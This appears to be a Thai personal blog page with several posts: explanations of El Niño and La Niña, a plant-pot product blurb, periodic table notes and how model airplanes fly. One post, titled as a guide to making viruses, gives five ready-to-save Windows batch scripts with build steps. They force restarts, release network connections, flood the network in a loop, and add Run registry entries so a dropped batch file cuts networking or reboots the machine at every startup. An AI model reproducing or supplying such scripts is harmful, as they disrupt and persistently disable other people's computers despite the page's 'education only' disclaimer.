ค้นหาบล็อกนี้

วันเสาร์ที่ 28 มกราคม พ.ศ. 2555

ปรากฎการณ์ เอลนินโญ่-ลานินญ่า

ปรากฏการณ์เอลนินโญ่ (El Ni?o Phenomena) และลานินญ่า (La Ni?a Phenomena)(ภัยพิบัติ)       
      เนื่องจากส่วนต่างๆของโลกได้รับความร้อนจากดวงอาทิตย์ไม่เท่ากัน  (โดยเฉพาะแถบเส้นศูนย์สูตรจะเป็นบริเวณที่ได้รับความร้อนจากดวงอาทิตย์มากกว่าส่วนอื่นของโลก ความร้อนส่วนใหญ่จะถูกเก็บสะสมอยู่ที่ผิวหน้าของน้ำในมหาสมุทร  น้ำบริเวณนี้จึงอุ่นกว่าที่อื่น) จึงมีการระเหยของไอน้ำในมหาสมุทรไม่เท่ากัน เป็นผลให้มีความดันที่แตกต่างกันไปตามตำแหน่งต่างๆบนโลก จนเกิดเป็นการเคลื่อนที่หมุนวนของกระแสอากาศตามช่วงต่างๆ ของ ละติจูดในบรรยากาศชั้นโทรโพสเฟียร์ เช่น ฮาร์ดเลย์เซลล์ (hadley cell), เฟอร์เรลเซลล์ (Ferrel cell), โพลาร์เซลล์ (Polar cell) (ดูภาพที่ 5- 6) กอร์ปกับมีแรงบิดเนื่องจากการหมุนรอบตัวเองของโลก หรือแรงคอริโอลิส (coriolis force) ทำให้เกิดเป็นลมชนิดต่างๆ เช่น ลมสินค้า (trade winds), เวสเตอร์ไลส์(Westerlies), อิสเตอร์ไลส์ (Easterlies)
      ลมสินค้าหมุนวนอยู่แถบเส้นศูนย์สูตร โดยจะหมุนตามเข็มนาฬิกาในซีกโลกภาคเหนือ (เรียกว่าลมสินค้าตะวันออกเฉียงเหนือ หรือ NE trade winds) และหมุนทวนเข็มนาฬิกาในซีกโลกภาคใต้ (เรียกว่าลมสินค้าตะวันออกเฉียงใต้ หรือ SE trade winds) (ภาพที่ 5- 6) กระแสลมอันรุนแรงทั้งสองชนิดนี้จะช่วยกันพัดพาขับเคลื่อนกระแสน้ำอุ่นที่ผิวหน้าของมหาสมุทรแถบเส้นศูนย์สูตร ให้วิ่งจากมหาสมุทรแปซิฟิกด้านตะวันออก (ด้านแผ่นดินอันเป็นที่ตั้งของประเทศในทวีปอเมริกาใต้ เช่น เปรู เอควาดอร์ ฯลฯ) สู่มหาสมุทรแปซิฟิกด้านตะวันตก (ด้านแผ่นดินอันเป็นที่ตั้งของประเทศ เช่นอินโดนีเซีย นิวกินี และออสเตรเลีย ฯลฯ) (ภาพที่ 5- 7-a) เป็นผลให้กระแสน้ำเย็นจากท้องทะเลเบื้องล่างมีโอกาสพัดพาสารอาหารจากท้องมหาสมุทรให้ขึ้นมากระจายหล่อเลี้ยงพื้นน้ำเบื้องบนที่ชายฝั่งทวีปอเมริกาใต้ (ภาพที่ 5- 8) และมีฝนตกหนักบนแผ่นดินด้านแปซิฟิกด้านตะวันตก
สาเหตุของปรากฏการณ์เอลนินโญ่และลานินญ่า
     เนื่องจากการเปลี่ยนแปลงในมหาสมุทรจะกระทบต่อบรรยากาศและรูปแบบของภูมิอากาศรอบโลก ในทางกลับกันการเปลี่ยนแปลงในชั้นบรรยากาศก็จะกระทบต่ออุณหภูมิของมหาสมุทรและกระแสน้ำเช่นกัน ดังนั้นเมื่อไรก็ตามที่อุณหภูมิ ที่ผิวหน้าน้ำในมหาสมุทรแปซิฟิกเขตร้อน (Tropical Pacific) แถบเส้นศูนย์สูตรนี้ (ภาพที่ 5- 9)  มีการเปลี่ยนแปลงอย่างผิดปกติ ปฏิสัมพันธ์ที่เกิดขึ้นระหว่างพื้นผิวของมหาสมุทรและชั้นบรรยากาศจะเป็นตัวขับเคลื่อนให้เกิดปรากฏการณ์เอลนิโนและปรากฏการณ์ลานินา ดังนี้
     1.ปรากฏการณ์เอลนิโนเกิดจากการเพิ่มขึ้นอย่างผิดปกติของอุณหภูมิที่ผิวน้ำทะเลในมหาสมุทรแปซิฟิกด้านตะวันออก ที่ทำให้ความดันบริเวณตะวันออกต่ำกว่าความดันบริเวณตะวันตก จึงเกิดเป็นลมที่พัดสวนทางกับลมสินค้า จากทิศตะวันตกไปยังทิศตะวันออก โดยลมต้านนี้อาจมีความแรงพอที่จะพัดพากระแสน้ำอุ่นให้ไหลย้อนทิศทางได้ด้วย (ภาพที่ 5- 7 - b) โดยเฉพาะเมื่อลมสินค้ามีการอ่อนตัวลงในบางเดือนของปี (ประมาณเดือนธันวาคมถึงกุมภาพันธ์) ปรากฏการณ์เอลนิโนทำให้แปซิฟิกตะวันออก มีความอุ่นอย่างผิดปกติ โดยอุณหภูมิอาจสูงกว่าปกติ 2?C – 3.5?C จึงเรียกว่า “the El Nino warming” และความร้อนในมหาสมุทรที่เพิ่มขึ้นนี้จะถูกปลดปล่อยออกสู่ชั้นบรรยากาศ จะทำให้มีก้อนเมฆสะสมอยู่ในมหาสมุทรมากขึ้น ในขณะเดียวกันชั้นน้ำอุ่นนี้จะทำการปิดกั้นการไหลขึ้นสู่เบื้องบนของกระแสน้ำเย็นจากท้องมหาสมุทร ทำให้ เทอร์โมฮาไลน์ มีการเปลี่ยนทิศทาง
    สภาวะเอลนิโนจะกินเวลาประมาณ 9-12 เดือน เนื่องจากปรากฏการณ์เอลนิโนจะเกิดพร้อมกับความผันผวนของภูมิอากาศในซีกโลกภาคใต้ มันจึงมักถูกเรียกรวมกันไปว่า “ปรากฏการณ์เอนโซ” (ENSO, El Ni?o and Southern Oscillation)
     2.ในทางตรงกันข้าม ปรากฏการณ์ลานินาเกิดจากการเพิ่มขึ้นของอุณหภูมิอย่างผิดปกติของผิวน้ำทะเลในมหาสมุทรแปซิฟิกด้านตะวันตก  ทำให้ความดันบริเวณตะวันตกต่ำกว่าความดันบริเวณตะวันออกจึงเกิดเป็นลมที่พัดเสริมลมสินค้าจากทิศตะวันออกไปยังทิศตะวันตก   ปรากฏการณ์ลานินา
ความหมายของเอลนินโญ่และลานินญ่า
     เอลนิโน เป็นภาษาสเปน มีความหมายว่า “เด็กผู้ชาย” แต่เนื่องจากปรากฏการณ์นี้มักจะเกิดในช่วงปลายของเดือนธันวาคม ซึ่งเป็นช่วงคริสตมาส จึงมักเรียกว่า “บุตรแห่งพระเจ้า” หรือ "a warm episode"
     ลานินา มีหลายความหมายเช่น “เด็กผู้หญิงตัวเล็กๆ” แต่บางครั้งก็มีคนเรียกว่า “El Viejo” ที่แปลว่า “ชายแก่” ในขณะที่หลายคนเรียกว่า “anti-El Ni?o” หรืออาจเรียกง่ายๆว่า "a cold event" หรือ "a cold episode"
     ลานินามักจะถูกเรียกว่าเป็นน้องสาวที่ชั่วร้ายของเอลนิโน อย่างไรก็ตามอิทธิพลของลานินาต่อการประมงตามชายฝั่งทวีปอเมริกาใต้ จะรุนแรงน้อยกว่า ปรากฏการณ์เอลนิโน ทำให้ลานินาได้รับความสนใจน้อยกว่าเอลนิโน

ผลกระทบที่เกิดจากปรากฏการณ์
     การเปลี่ยนแปลงของอุณหภูมิของผิวน้ำทะเลมีความสัมพันธ์กับปริมาณน้ำฝนที่ตกลงบริเวณเส้นศูนย์สูตรของมหาสมุทรแปซิฟิกและการหมุนเวียนของกระแสน้ำในมหาสมุทร  (Lim, 1984; Berlage, 1966; และ Bjerkness, 1966, 1969, 1972) ดังนั้นปรากฏการณ์ทั้งสองจึงส่งผลกระทบต่อทิศทางการไหลหมุนเวียนของเทอร์โมฮาไลน์ และส่งผลกระทบต่อภูมิอากาศโลก  จนเกิดเป็นภัยพิบัติต่างๆ เช่น ความแห้งแล้ง อดหยาก และอุทกภัย (ภาพที่ 5- 11)  ดังนี้
     1.ปรากฏการณ์เอลนิโน ทำให้มหาสมุทรแปซิฟิกด้านตะวันออก มีความชุ่มชื้นกว่าปกติจนเกิดเป็นอุทกภัย ในขณะที่มหาสมุทรแปซิฟิกด้านตะวันตก เกิดความแห้งแล้ง (ภาพที่ 5- 11-a) โดยอุณหภูมิที่เพิ่มขึ้น 1OC บนมหาสมุทรจะเพิ่มความรุนแรงให้แก่เฮอริเคนที่เกิดขึ้นในแถบอิเควเตอร์แต่มันก็มีข้อดีบางประการเช่นช่วยลดความรุนแรงและจำนวนครั้งของการเกิดเฮอริเคนแห่งแอตแลนติกในแอตแลนติกเหนือ และทอร์นาโด ในตอนกลางของประเทศสหรัฐอเมริกา
     2.ปรากฏการณ์ลานินาทำให้มหาสมุทรแปซิฟิกด้านตะวันตกมีความชุ่มชื้นกว่าปกติจนเกิดเป็นอุทกภัย ในขณะที่มหาสมุทรแปซิฟิกด้านตะวันออกเกิดความแห้งแล้ง (ภาพที่ 5- 11 -b)

     ปรากฏการณ์ลานินาและเอลนิโน จะส่งอิทธิพลไปทั่วโลก โดยผลกระทบที่มีต่อภูมิอากาศโลก จะมีแนวโน้มอยู่ในทิศทางที่ตรงข้ามกัน  ทำให้ความแปรปรวนของอุณหภูมิของน้ำในมหาสมุทรแปซิฟิกเขตร้อนเกิดในทิศทางที่ตรงข้ามกันด้วย ระบบภูมิอากาศโลกจึงมีการสลับไปมาทุกๆ 3-5 ปีโดยเฉลี่ย การสลับระหว่างช่วงแห่งความอบอุ่นของสภาวะเอลนิโน และสภาวะปกติ (หรือช่วงแห่งความหนาวเย็น ของสภาวะลานินา) นี้สามารถบ่งชี้ ได้ด้วยดัชนีของคลื่นแห่งความผันผวนของความดันบรรยากาศในซีกโลกภาคใต้ (Southern Oscillation Index, S.O.I) ในภาพที่ 5- 12
     S.O.I เป็นการวัดความดันที่แตกต่างกันระหว่างเมืองดาร์วินในออสเตรเลียและเมืองตาฮิติในแปซิฟิกกลาง ค่าลบของ S.O.I หมายถึงโอกาสในการเกิดสภาวะเอลนิโน และค่าบวกหมายถึงโอกาสในการเกิดสภาวะลานินา โดยค่าดัชนีจะชี้ให้เห็นถึง ความรุนแรงและระยะเวลาของสถานการณ์ ด้วย
     ค่า S.O.I ได้ถูกบันทึกมานานกว่า 100 ปีแล้ว ทำให้ได้ค้นพบว่า ปรากฏการณ์เอนโซ ได้ เกิดอยู่ในแปซิฟิก ตลอดระยะเวลาที่ผ่านมา โดยคลื่นแห่งความผันผวนนี้ มีแอมพลิจูดที่แตกต่างกันมาก ในขณะที่ มีความถี่ค่อนข้างจะคงที่
     จากปี 1950 ถึง 1977 มีสภาวะเอลนิโนเกิดขึ้นร้อยละ31มีสภาวะลานินาเกิดขึ้นร้อยละ 23 และมีสภาวะปกติเกิดขึ้นร้อยละ 46  ในช่วงนี้ การเกิดปรากฏการณ์เอลนิโนและลานินา จะมีจำนวนครั้งที่ใกล้เคียงกัน จนเกิดเป็นคลื่นแห่งความผันผวนของความดันบรรยากาศ แต่สิ่งที่น่ากังวลใจสำหรับนักวิทยาศาสตร์คือ ตั้งแต่ปี 1970 เป็นต้นมา พฤติกรรมของคลื่นแห่งความผันผวนนี้ได้เบี่ยงเบนไป โดยปรากฏการณ์เอลนิโน เกิดบ่อยครั้งมากขึ้นจนผิดปกติและมีแอมพลิจูดที่สูงขึ้น (ภาพที่ 5- 12) ตัวอย่างเช่นในช่วงระยะเวลาหนึ่ง มีเอลนิโนเกิดขึ้นถึง 9 ครั้งทุก ๆ 2.2 ปี (ในอดีตเคยเกิดทุก 7 ปี)ในขณะที่มีปรากฏการณ์ลานินา เกิดขึ้นเพียงครั้งเดียว  นั่นหมายความว่าคลื่นแห่งความผันผวนของความดันบรรยากาศในซีกโลกภาคใต้ กำลังหมดสิ้นลงแล้วจากการค่อยๆหายตัวไปของปรากฏการณ์ลานินา  โลกจึงมีแต่ความร้อนมากขึ้นเรื่อยๆ  ทั้งนี้เพราะปรากฏการณ์ลานินาจะช่วยยื้อให้ภูมิอากาศโลกกลับสู่สภาพปกติได้  พฤติกรรมที่เบี่ยงเบนนี้มีความรุนแรงมาก ในปี 1998 มี ซึ่งอาจเป็นเพราะ มีสภาวะโลกร้อนเป็นตัวเร่งด้วยก็ได้
     เนื่องจากในช่วงสามทศวรรษที่ผ่านมา อุณหภูมิโดยเฉลี่ยของโลกที่เพิ่มขึ้นครึ่งองศาเซลเซียส เป็นสิ่งที่นอกจากจะสอดคล้องกับการเพิ่มขึ้นของแก๊สคาร์บอนไดออกไซด์ (ภาพที่ 5- 3) แล้วยังสอดคล้องกับช่วงระยะเวลาในการเกิดเอลนิโนด้วย(ภาพที่ 5- 13)   นั่นแสดงให้เห็นว่าภูมิอากาศของโลกนั้นมีความหวั่นไหวอย่างมากต่อการเปลี่ยนแปลงใดๆแม้แต่เพียงเล็กน้อย เพราะอุณหภูมิเฉลี่ยของโลกที่เปลี่ยนเพียงเล็กน้อยบนพื้นที่เล็กๆในมหาสมุทรแปซิฟิกเขตร้อน ก็สามารถทำให้เกิดรูปแบบของความแห้งแล้งและอุทกภัยบนพื้นที่ต่างๆทั่วโลกซ้ำแล้วซ้ำอีก  โดยความแห้งแล้งที่เกิดบ่อยครั้งขึ้นนี้มีศักยภาพสูงในการทำลายป่าฝนในทุกๆ 2-3 ปี  จึงส่งผลกระทบอย่างมากต่อป่าไม้ในเขตอเมซอน รวมทั้งทำลายป่าไม้ในเขตตะวันตกเฉียงเหนือของประเทศสหรัฐอเมริกา นอกจากนั้นยัง กระทบต่อระบบนิเวศน์ของสรรพชีวิตโดยเฉพาะสัตว์น้ำและกระตุ้นการระบาดของแมลงและโรคบางชนิด
     ในปัจจุบัน ยังมีปัญหาอีกมากมายให้นักวิทยาศาสตร์ต้องขบคิด เกี่ยวกับแนวโน้มของการเกิดที่บ่อยครั้งขึ้นของปรากกฎการณ์เอลนิโนและความรุนแรงที่เพิ่มมากขึ้นของมัน เนื่องจากสภาวะโลกร้อน งานวิจัยจะช่วยแยกแยะความแปรปรวนตามธรรมชาติออกจากความแปรปรวนเนื่องจากฝีมือมนุษย์ หรือหาความเชื่อมโยงระหว่างกัน รวมทั้งการเปลี่ยนแปลงที่จะเกิดขึ้นในอีกทศวรรษหน้า และผลกระทบต่างๆที่จะตามมา

วันศุกร์ที่ 27 มกราคม พ.ศ. 2555

มีวิธีสร้างไวรัสมาฝากครับ

เอาไว้ศึกษาเป็นความรู้นะครับ อย่าเอาไว้ไปแกล้งใครนะครับ ส่วน Source Code ทุกๆ ชนิด ใช้วิธีทำแบบเดียวกันทั้งหมด คือ สร้าง Code ในโปรแกรม Notepad แล้วบันทึกในชื่อตามที่ต้องการ แต่นามสกุลต้องเป็น bat


ไวรัส #1 กดแล้ว ปิดเครื่อง
ตัวนี้ไม่มีอะไรมาก แค่ดับเบิลคลิกชื่อไฟล์ที่เราสร้าง เครื่องคอมพิวเตอร์ ก็จะชัตดาวน์ทันที ไม่ทำลายข้อมูลใดๆ ทั้งสิ้น
Code:


@echo off
TITLE Mr_Unlocker
shutdown -r -f -t0


วิธีทำ


<>
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.บันทึกไฟล์ชื่ออะไรก็ ได้แต่ให้มีนามสกุลเป็น .bat

***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***


ไวรัส # 2 ตัดการเชื่อมต่ออินเตอร์เน็ต/เน็ตเวิร์ก
อันนี้แรงขึ้นมาหน่อย จะตัดการทำงานของอินเตอร์เน็ต

Code:


<>
@echo off
TITLE Mr_Unlocker
ipconfig /release


Virus#3 Combo Virus
ตัวนี้จะมีความต่อเนื่องจากสองตัวข้างบน คือ เมื่อคลิกแล้ว จะทำ flood network และการทำงานจะวน loop จนเน็ตเวิร์กเดี้ยง

Code:


<>
@echo off
TITLE Mr_Unlocker :CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH



ต่อไปนี้จะเป็นไวรัสที่สร้างความรุนแรงจริงๆนะครับ อย่าเผลอลองเชียว

Virus#4 Disble IP Address
โดนตัวนี้เข้าไปก็อย่าหวังเลยว่าจะเข้าอินเตอร์เน็ตได้อีก - -'

Code:


<>
@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\wimn32.bat
echo break off>>c:\windows\wimn32.bat
echo ipconfig/release_all>>c:\windows\wimn32.bat
echo end>>c:\windows\wimn32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
echo Unlocker Hackers Strike Again
PAUSE


Virus#5 สั่งปิดเครื่องทุกๆ ครั้งที่เปิดจนถึง 11 วินาที (เปิดแล้วก็ปิดอยู่อย่างนั้น)

Code:


<>
@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\hartlell.bat
echo break off>>c:\windows\hartlell.bat
echo shutdown -r -t 11 -f>>c:\windows\hartlell.bat
echo end>>c:\windows\hartlell.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
echo Unlocker Hackers Strike Again
PAUSE


บทความนี้ หวังเป็นอย่างยิ่งว่าใช้เพื่อการศึกษาเท่านั้น มิได้เจตนาสร้างความเดือดร้อนแก่ใคร ผู้ศึกษาควรใช้ความคิด และมีจริยธรรมในการศึกษา

วันพฤหัสบดีที่ 26 มกราคม พ.ศ. 2555

กระถางต้นไม้ไฮเทค

ไม่รู้ว่าตอนนี้โลกของเราจะเกิดการเปลี่ยนแปลงอะไรขึ้นอีก เพราะฉะนั้นตอนนี้ถ้าทุกคนช่วยกันคนะไม้คนละมืออย่างง่ายๆที่บ้านเราเองด้วยการปลูกต้นไม้ช่วยลดโดลกร้อนได้ผลเช่นกัน แต่ในยุคนี้สมัยนี้ชีวิตคนเมืองอย่างเราๆจะหาที่ปลูกต้นไม้มันช่างเย็นแสนเข็ญซะจริงๆ ยิ่งถ้าใครอยู่ห้องพักหอเช้าหรือคอนโดยิ่งยากเข้าไปใหญ่ ด้วยเหตุผลเหล่านี้จึงได้ถือกำเนิด Power Plant Growing Machine ขึ้นมาช่วยทำให้ชีวิตในเมืองอย่างเราๆก็สามารถปลูกต้นไม้ในห้องได้แบบไม่มีปัญหา
 
        เห็นอย่างนี้ กระถางต้นไม้ยุคไฮเทคที่เพื่อนๆกำลังยลโฉมอยู่นี้ ใช้เทคโนโลยีเดียวกันกับทาง NASA เลยนะ เพราะเค้าก็ต้องไปปลูกต้นไม้ ปลูกผักกันในอวกาศเช่นกัน แถมยังลำบากกว่าปลูกในห้องของเราที่อยู่บนโลกอีกต่างหาก เท่าที่เห็นการทำงานของ Power Plant Growing Machine ตัวนี้ ช่วยให้เราสามารถปลูกต้นไม้,ดอกไม้ หรือผัก ได้โดยไม่ต้องมาคอยรดน้ำให้ทุกวัน ไม่ต้องใช้ดิน ใช้งานได้ทุกฤดู ใช้แล้วนำกลับมาใช้ใหม่ได้ตลอดเวลา

 
        นอกจากเราจะปลูกต้นไม้ ดอกไม้ หรือผักที่เป็นต้นกล้ามาแล้ว เรายังสามารถเลือกปลูกด้วยเมล็ดพันธุ์พืชได้อีกด้วย โดยความลับที่ทำให้ Power Plant Growing Machine ตัวนี้มีความสามารถเพาะปลูกได้ดียิ่งขึ้นนั่นก็คือ Nutrient ชนิดพิเศษที่อุดมไปด้วยแร่ธาตุต่างๆ และเพียงแค่นำไปผสมกับน้ำและนำไปใส่ในช่องเติมน้ำของกระถางต้นไม้ไฮเทคเครื่องนี้ จากนั้นขั้นตอนสุดท้ายก็แค่เสียบปลั๊กไฟเพื่อให้กระถางตัวนี้สามารถรักษาระดับอุณภูมิได้คงที่
        หากเพื่อนสนใจเจ้า Power Plant Growing Machine ตัวนี้ก็ลองหาซื้อกันดูครับ ส่วนราคาค่าตัวขอบอกไว้ก่อนว่าแพงพอตัวครับ $34.95 หรือประมาณ 1 พันบาทต้นๆ แต่ถ้าแลกราคาที่สูงเพื่อได้เทคโนโลยีดีๆมาใช้ ไม่ต้องคอยรดน้ำ ไม่ต้องใส่ปุ๋ย ไม่ต้องใช้ดิน สำหรับคนที่รักต้นไม้อาจจะคิดว่ามันไม่แพงก็ได้นะ


วันอาทิตย์ที่ 22 มกราคม พ.ศ. 2555

ตารางธาตุ




รหัสสีสำหรับเลขเชิงอะตอม:
  • ธาตุที่เลขเชิงอะตอมเป็น สีน้ำเงิน เป็นของเหลวที่ STP
  • ธาตุที่เลขเชิงอะตอมเป็น สีเขียว เป็นก๊าซที่ STP
  • ธาตุที่เลขเชิงอะตอมเป็น สีดำ เป็นของแข็งที่ STP
  • ธาตุที่เลขเชิงอะตอมเป็น สีแดง เป็น ธาตุสังเคราะห์ (ทุกธาตุเป็นของแข็งที่ STP)
  • ธาตุที่เลขเชิงอะตอมเป็น สีเทา ยังไม่มีการค้นพบ (ธาตุเหล่านี้ในตารางจะมีสีพื้นจาง ๆ ที่ใกล้เคียงกับสีพื้นของอนุกรมเคมีที่ธาตุดังกล่าวน่าจะเป็นสมาชิก)

 ชื่อธาตุแบ่งตามหมู่
ยกเว้น ไฮโดรเจน เพราะยังถกเถียงกันอยู่ว่าจะจัดลงไปที่หมู่ 1 หรือ 7 ดี เพราะคุณสมบัติเป็นกึ่ง ๆ กัน ระหว่าง 1A กับ 7A และธาตุประเภททรานซิชัน โดยทั่วไป ไม่แนะนำให้จำ แต่อาศัยดูตารางเอา และควรจำคุณสมบัติของธาตุที่สำคัญ ๆ ให้ได้ หรืออาจจะใช้หลักการในการท่องให้ง่ายขึ้น เช่นการใช้ตัวย่อของแต่ละคำมารวมกันเป็นประโยคที่จำง่าย ๆ ซึ่งจะทำให้จำได้ไวขึ้น

หมายเหตุ ชื่อที่เป็นตัวเอียง เป็นชื่อในภาษาละติน ซึ่งเป็นที่มาของสัญลักษณ์ของธาตุนั้นๆ



 แหล่งกำเนิดของธาตุในจักรวาล
  1. ไฮโดรเจนและฮีเลียมเกิดเริ่มแรกในจักรวาลหลังบิกแบง
  2. ธาตุตัวที่ 3 คือลิเทียม ถึงตัวที่ 26 คือ เหล็กเกิดจากภาวะอัดแน่นในดวงดาว
  3. ธาตุตัวที่หนักกว่าเหล็กจนถึงยูเรเนียมเกิดจากดาวระเบิด หรือปรากฏการณ์นิวเคลียร์ฟิวชั่นในดาวฤกษ์ (กรณีหลังจะได้กัมมันตภาพฯ เป็นส่วนมาก)


วันศุกร์ที่ 20 มกราคม พ.ศ. 2555

เครื่องบิน บินได้อย่างไร


    เครื่องบินรถกระป๋องบินได้อย่างไร(งูดิน)
    มีเพื่อน ที่ลองสร้างเครื่องบินรถกระป๋องแล้วยังทำไม่สำเร็จมักจะถามผมว่า “ทำไมเครื่องบินที่สร้างถึงบินไม่ได้”
    เพื่อน ที่ถามคำถามแบบนี้ แสดงว่ายังไม่รู้หลักของการบิน เพราะเครื่องบินจะบินได้นั้นมิใช่แต่เพียงสร้างให้มีรูปร่างเหมือนเครื่องบิน แต่จะต้องรู้หลักพื้นฐานของการบินเสียก่อน คือต้องรู้ก่อนว่า เครื่องบินบินได้อย่างไร จึงจะสามารถปรับแต่งเครื่องบินที่สร้างขึ้นให้สามารถบินได้ และบินได้ดี ผมจึงขอถ่ายทอดความรู้เรื่องการบินที่ผมพอจะมีอยู่บ้าง ให้เพื่อน ๆ ได้ทราบเป็นแนวทางในการสร้างเครื่องบินให้บินได้สำเร็จต่อไปครับ
    เครื่องบิน บินได้ เพราะมีปีก
    ผมขอสรุปง่าย อย่างงี้เลยครับ เพราะถ้าไม่มีปีก ก็บินไม่ได้ ที่ว่าบินนี้หมายถึงบินแบบเครื่องบินนะครับ ไม่ใช่ลอยขึ้นไปแบบบัลลูน หรือพุ่งขึ้นไปแบบจรวด ซึ่งบัลลูนและจรวดใช้หลักการอีกแบบหนึ่ง ไม่ใช่หลักการของเครื่องบิน
    การที่จะทำให้วัตถุซึ่งมีน้ำหนักมากกว่าอากาศ ลอยได้ นั้น ทำได้หลายวิธี เช่น ใช้ก๊าซที่เบากว่าอากาศช่วยดึงขึ้นไปคือบัลลูน หรือใช้แรงปฏิกิริยาจากแรงขับดันฉุดขึ้นไปคือจรวด และใช้แรงยกของอากาศที่ไหลผ่านปีก คือเครื่องบินนั่นเอง
    ปีก สร้างแรงยกได้อย่างไร
    ปีกสร้างแรงยกได้จากความแตกต่างของความเร็วอากาศที่ไหลผ่านปีกด้านบนและด้านล่าง ดังนั้น ลักษณะของปีกด้านบนและด้านล่างจึงแตกต่างกันเพื่อบังคับความเร็วของอากาศ ปีกด้านบนจะมีความโค้งนูนขึ้นในขณะที่ด้านล่างจะเรียบหรือเว้าเข้าไป ซึ่งรูปทรงนี้จะบังคับให้อากาศไหลผ่านด้านบนของปีกด้วยความเร็วสูงกว่าอากาศที่ไหลผ่านด้านล่าง จึงเกิดแรงยกจากด้านล่างปีกขึ้นไปด้านบน เมื่อแรงยกนี้มีมากกว่าน้ำหนักของเครื่องบิน ก็จะทำให้แรงยกดึงเครื่องบินให้ลอยขึ้นไปได้
    จะทำให้อากาศไหลผ่านปีกได้อย่างไร
    หากเครื่องบินอยู่นิ่ง อากาศก็นิ่ง ลมสงบ ปีกก็ไม่เกิดแรงยกเพราะไม่มีอากาศไหลผ่าน เครื่องบินก็ไม่บิน เราจึงต้องสร้างอากาศให้ไหลผ่านปีกเพื่อให้ปีกเกิดแรงยกเครื่องบินขึ้น
    การทำให้อากาศไหลผ่านปีกทำได้สองวิธี
    วิธีแรก คือใช้แรงจากภายนอกดันเครื่องบินไปข้างหน้า เช่น ใช้เชือกดึง ใช้มือจับพุ่ง ใช้รถลาก นั่นคือเครื่องบินชนิดที่เราเรียกว่าเครื่องร่อน เพราะไม่มีแรงขับดันอากาศให้ไหลผ่านปีกได้ในตัวเอง
    วิธีที่สอง คือใช้แรงจากเครื่องบินนั้นเองสร้างอากาศให้ไหลผ่านปีก คือติดตั้งเครื่องยนต์ชนิดต่าง ๆ กับตัวเครื่อง เพื่อสร้างแรงขับดันให้เครื่องบินไปข้างหน้าและในขณะเดียวกันก็สร้างอากาศให้ไหลผ่านปีก เครื่องยนต์ที่สร้างแรงขับดันนี้อาจเป็นเครื่องยนต์ติดใบพัดให้หมุนเพื่อสร้างแรงดึงหรือดันเครื่องบินไปข้างหน้า ในขณะเดียวกัน ใบพัดที่ติดด้านหน้าปีก ก็จะเป่าลมให้ผ่านปีกอีกด้วย หรืออาจเป็นเครื่องยนต์เจ็ต ซึ่งอาศัยแรงจุดระเบิดเป่าไอพ่นไปด้านหลังทำให้เกิดแรงปฏิกิริยาผลักตัวเครื่องบินไปด้านหน้า ทำให้อากาศไหลผ่านปีกด้วยความเร็วจนเกิดแรงยกเครื่องบินขึ้นได้
    จะเห็นได้ว่า เครื่องบินและเครื่องร่อน โดยหลักแล้วต่างกันแต่เพียงวิธีการทำให้อากาศไหลผ่านปีกเท่านั้น
    เครื่องบินจะบินได้ หรือไม่ได้ เกี่ยวข้องกับแรง 4 แรง
    แรงสี่แรงที่เกี่ยวข้องกับการบินนี้ คือ แรงยก แรงโน้มถ่วง แรงขับดัน และแรงต้าน
    แรงยก คือ แรงยกของปีกที่เกิดจากความเร็วของอากาศที่ไหลผ่านปีก
    แรงโน้มถ่วง คือ แรงดึงดูดของโลกที่กระทำต่อเครื่องบิน คือ น้ำหนักเครื่องบิน
    แรงขับดัน คือ แรงขับดันของเครื่องยนต์ ที่ติดตั้งในเครื่องบิน
    แรงต้าน คือ แรงต้านของลำตัวเครื่องบิน เกิดจากแรงเสียดทานของอากาศกับลำตัวเครื่องบิน
    เมื่อแรงขับดันมากกว่าแรงต้าน จะทำให้เครื่องบินเคลื่อนไปข้างหน้า ทำให้อากาศไหลผ่านปีก จนเกิดแรงยก ยิ่งเคลื่อนไปข้างหน้าเร็วเท่าไร อากาศจะไหลผ่านปีกเร็วเท่านั้น แรงยกก็มากขึ้นเรื่อย ๆ จนกระทั่งแรงยกสูงกว่าแรงโน้มถ่วงคือสูงกว่าน้ำหนักของเครื่องบิน ก็จะยกเครื่องบินให้ลอยขึ้นได้
    สำหรับเครื่องร่อนลำเล็กที่พุ่งด้วยมือ แรงขับดันมาจากแรงเหวี่ยงของมือที่พุ่งเครื่องร่อนไปข้างหน้า ตอนเริ่มพุ่งจะมีแรงขับดันสูง เครื่องร่อนจึงเกิดแรงยกบินสูงขึ้น แต่เมื่อปล่อยมือแล้วแรงขับดันจะค่อย ๆ ลดลง ความเร็วของอากาศที่ไหลผ่านปีกเครื่องร่อนก็ลดลง ทำให้แรงยกของปีกลดลง เครื่องจึงค่อย ๆ ร่อนลง
    สำหรับเครื่องบิน แรงขับดันมาจากเครื่องยนต์หรือมอเตอร์ซึ่งสามารถส่งกำลังอย่างต่อเนื่องมากหรือน้อยได้ตามต้องการ จึงสามารถควบคุมแรงยกได้ด้วยการควบคุมแรงขับดันนี้ นี่คือหลักการบินของเครื่องบินรถกระป๋อง ซึ่งควบคุมให้บินสูงขึ้นหรือต่ำลงด้วยการควบคุมมอเตอร์ ซึ่งส่งผลให้สามารถควบคุมแรงยกของปีกได้ตามต้องการ
    มุมปะทะของปีก ก็สามารถควบคุมแรงยกได้
    นอกจากการควบคุมแรงยกของปีกด้วยการควบคุมเครื่องยนต์ เพื่อควบคุมความเร็วของอากาศที่ไหลผ่านปีก การเปลี่ยนแปลงมุมปะทะของปีกกับอากาศที่ไหลผ่าน ก็ทำให้แรงยกเปลี่ยนแปลงได้เช่นเดียวกัน
